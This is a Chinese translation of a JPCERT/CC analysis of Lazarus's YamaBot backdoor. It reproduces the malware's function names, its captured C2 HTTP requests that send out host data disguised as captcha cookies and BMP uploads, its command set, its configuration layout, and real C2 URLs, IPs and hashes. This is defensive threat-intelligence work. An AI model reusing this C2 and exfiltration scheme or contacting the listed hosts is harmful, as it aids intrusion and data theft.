作者:朝長 秀誠
譯者:知道創宇404實驗室翻譯組
原文鏈接:https://blogs.jpcert.or.jp/en/2022/07/yamabot.html

JPCERT/CC正在持續調查Lazarus的活動。2021年,JPCERT/CC在CODE BLUE和HITCON上介紹了其攻擊活動。

https://github.com/JPCERTCC/Lazarus-research/

上述研究報告中提到的YamaBot惡意軟件針對的是Linux操作系統,但最近發現的另一種惡意軟件針對的是Windows操作系統。(文件中稱其為Kaos,但本博客稱其為YamaBot。)YamaBot是在Golang中編碼的惡意軟件,在不同平臺創建的惡意軟件的功能略有不同。除了YamaBot,Lazarus還創建了其他幾種針對多個平臺的惡意軟件,例如VSingle。本文將介紹YamaBot的詳細信息。

YamaBot概述

YamaBot惡意軟件使用HTTP請求與C2服務器通信。下面是示例中以Windows操作系統為目標的函數名列表。攻擊者將惡意軟件命名為Yamabot。針對Windows操作系統的互斥鎖具有特定的功能,例如創建和檢查互斥鎖。

_/D_/Bot/YamaBot/utilities.BaseDecodeR
_/D_/Bot/YamaBot/utilities.HttpPostWithCookie
_/D_/Bot/YamaBot/utilities.HttpPostWithFile
_/D_/Bot/YamaBot/utilities.GetMacAddress
_/D_/Bot/YamaBot/utilities.GetHash
_/D_/Bot/YamaBot/utilities.GetCookieParams
_/D_/Bot/YamaBot/utilities.GetRndString
_/D_/Bot/YamaBot/utilities.BmpMaker
_/D_/Bot/YamaBot/utilities.createMutex
_/D_/Bot/YamaBot/utilities.CCheckkmutex
_/D_/Bot/YamaBot/utilities.CIpaddress
_/D_/Bot/YamaBot/utilities.COsname
_/D_/Bot/YamaBot/utilities.getOSVer
_/D_/Bot/YamaBot/utilities.Run
_/D_/Bot/YamaBot/utilities.Run.func1
_/D_/Bot/YamaBot/utilities.Run.func2
_/D_/Bot/YamaBot/engine.(*FileStruct).Lunch
_/D_/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung
_/D_/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten
_/D_/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo
_/D_/Bot/YamaBot/engine.(*FileStruct).getEggPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).processMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).getSessionStr

下面是針對Linux操作系統的樣本中包含的惡意軟件的函數名稱列表,稱為Kaos。

_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecodeR
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecode
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile
_/C_/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID
_/C_/Users/administrator/Downloads/kaos/utilities.GetCookieParams
_/C_/Users/administrator/Downloads/kaos/utilities.BaseEncode
_/C_/Users/administrator/Downloads/kaos/utilities.GetRndString
_/C_/Users/administrator/Downloads/kaos/utilities.EierKochen
_/C_/Users/administrator/Downloads/kaos/utilities.CIpaddress
_/C_/Users/administrator/Downloads/kaos/utilities.Run
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice
_/C_/Users/administrator/Downloads/kaos/utilities.COsname
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr
_/C_/Users/administrator/Downloads/kaos/engine.NewEgg

圖1顯示了讀取配置的部分代碼。惡意軟件配置信息包括RC4密鑰等(請參閱附錄A了解配置的更多信息)。不同操作系統的配置沒有區別。

圖1:讀取配置的代碼

下面介紹YamaBot的通信方式和命令,重點介紹YamaBot在Linux和Windows操作系統版本上的區別。

通信方式

YamaBot 使用 HTTP 請求與 C2 服務器通信。YamaBot發送的第一個 HTTP 開機自檢請求如下。這是一個 HTTP 開機自檢請求,但沒有要發送的數據,其用戶代理是 Base64 編碼的。

POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Accept-Encoding: gzip

如果成功連接到C2服務器,則YamaBot發送以下請求,其中包括其Cookie標頭中的信息。添加的信息包括隨機生成的4字節字符串和16字節RC4密鑰的Base64編碼。RC4密鑰使用從以下數據生成的MD5值的前16個字節。

  • 目標Windows操作系統:主機名、用戶名、MAC地址
  • 目標Linux操作系統:主機名、用戶名

captcha_val中的內容:RC4加密和Base64編碼的終端信息和命令執行結果

POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ
Accept-Encoding: gzip

captcha_val發送的第一個數據是操作系統信息和IP地址,發送如下內容:

windows 6 amd64|[192.168.1.1]
linux 386|[192.168.1.1]

此外,如果發送的數據大小超過特定大小(確認3333字節,7000字節的示例),則將發送的數據模擬為多部分BMP數據,而不是 captcha_val發送。

POST /recaptcha.php HTTP/1.1
Host: www.karin-store.com
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: [Length]
Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D
Accept-Encoding: gzip

--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png"
Content-Type: application/octet-stream

BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--

來自服務器的命令包含在Set-Cookie標頭中。它們經過RC4加密(RC4密鑰使用惡意軟件發送的數據)和Base64編碼,然后包含在captcha_session中,如下所示:

Set-Cookie: captcha_session=[Base64エンコードされた命令]

命令

來自C2服務器的指令執行的命令因目標操作系統而異。那些以Linux操作系統為目標的用戶只能通過/bin/sh執行shell命令。另一方面,那些以Windows操作系統為目標的用戶可以實現以下多個命令。

  • dir: 獲取文件列表
  • Mapfs: 獲取目錄列表
  • Download: 文件下載
  • Info: 文件路徑,發送PID
  • Sleep:休眠時間更改
  • Uninstall: 刪除主機
  • i: 間隔時間更改
  • 其他:使用shell命令執行給定的字符串

格式要求上述命令包含在前半部分,可表示為:[command][command parameters]

如果執行命令i,則發送命令執行結果,其中包含部分德語字符,目前尚不清楚在YamaBot中包含德語的原因。

圖2: 執行i命令時要發送的數據

總結

攻擊者仍在使用YamaBot惡意軟件。由于它不僅針對Windows操作系統,還針對Linux操作系統,因此在事件調查期間還應仔細調查服務器。日本國內當前也確認了多個Lazarus組織的攻擊活動,今后應予以注意。Lazarus使用的另一種惡意軟件將在下一期中介紹。

附錄A:配置信息

表A-2:配置信息列表 (x86)

偏移 描述 備注
0x000 間隔 通信間隔
0x004 - 未使用
0x008 C2 服務器
0x00C C2 服務器長度
0x010 RC4 密鑰
0x014 RC4 密鑰長度
0x018 連接 C2 服務器 是否成功連接到 C2 服務器
0x01C Cookie 標頭值 要在 Cookie 標頭中設置的值
0x020 - 未使用
0x024 連接次數 與 C2 服務器的重新連接次數

表A-1:配置信息列表 (x64)

偏移 描述 備注
0x000 間隔 通信間隔
0x008 C2 服務器
0x010 C2 服務器長度
0x018 RC4 密鑰
0x020 RC4 密鑰長度
0x028 連接 C2 服務器 是否成功連接到 C2 服務器
0x030 Cookie 標頭值 要在 Cookie 標頭中設置的值
0x038 - 未使用
0x040 連接次數 與 C2 服務器的重新連接次數

附錄B: C2 服務器

  • http://www.karin-store.com/recaptcha.php
  • http://yoshinorihirano.net/wp-includes/feed-xml.php
  • http://213.180.180.154/editor/session/aaa000/support.php

附錄C:惡意軟件哈希值

  • f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
  • 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1932/